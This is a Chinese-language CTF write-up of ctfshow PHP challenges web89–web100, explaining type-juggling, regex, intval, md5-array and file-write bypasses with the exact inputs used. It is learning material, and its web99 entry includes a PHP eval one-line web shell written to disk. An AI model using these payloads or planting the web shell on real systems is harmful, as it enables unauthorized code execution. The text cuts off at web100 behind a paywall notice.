##开始PHP特性
web89
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。
可以通过数组的方式通过
num[]=1
web90
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
num=010574 8进制
num=0x117c 16进制
web91
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
意思大概是先要多行匹配有没有php开头和结尾的
然后单行匹配不能是php开头结尾的

可以用 %0a 截断,意思其实就是换行
cmd=abc%0aphp
web92~93
同 web90
web94~95
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
strpos查找字符串中第一次出现的位置:
strpos() 函数对大小写敏感。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
strpos函数限制了传参第一位不能为0,如果为0,就die
但如果没有找到又会die
根据弱类型,可以用空格隔开,或者小数
num= 010574
num=4476.0
num=+010574
web96
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
不能直接查看flag.php
可以构造路径查看
u=/var/www/html/flag.php
u=./flag.php
web97
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
简单地方法就是直接数组让MD5报错,这样就相等了
a[]=1&b[]=2
还有就是MD5强碰撞
[MD5强碰撞](https://www.cnblogs.com/kuaile1314/p/11968108.html)
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)
三元运算:条件表达式?表达式1:表达式2。
第一个说只要有GET传参就指向POST,所以随便传个啥都行
GET 1=flag
POST HTTP_FLAG=flag
web99
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
首先是随机数填充数组,但是可以猜测一定有数字1
in_array() 搜索数组中是否有指定的字符串
因为没有设置第三个参数,所以1.php会被构造成1
file_put_contents($_GET['n'], $_POST['content']);
如果存在就将POST传入的数据写入到GET中,因此可以考虑写入一句话马
GET:n=1.php
POST:content=<?php @eval($_POST['360']);?>
web100
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
首先知道 = 的优先级是高于

最低0.47元/天 解锁文章
2290

被折叠的 条评论
为什么被折叠?



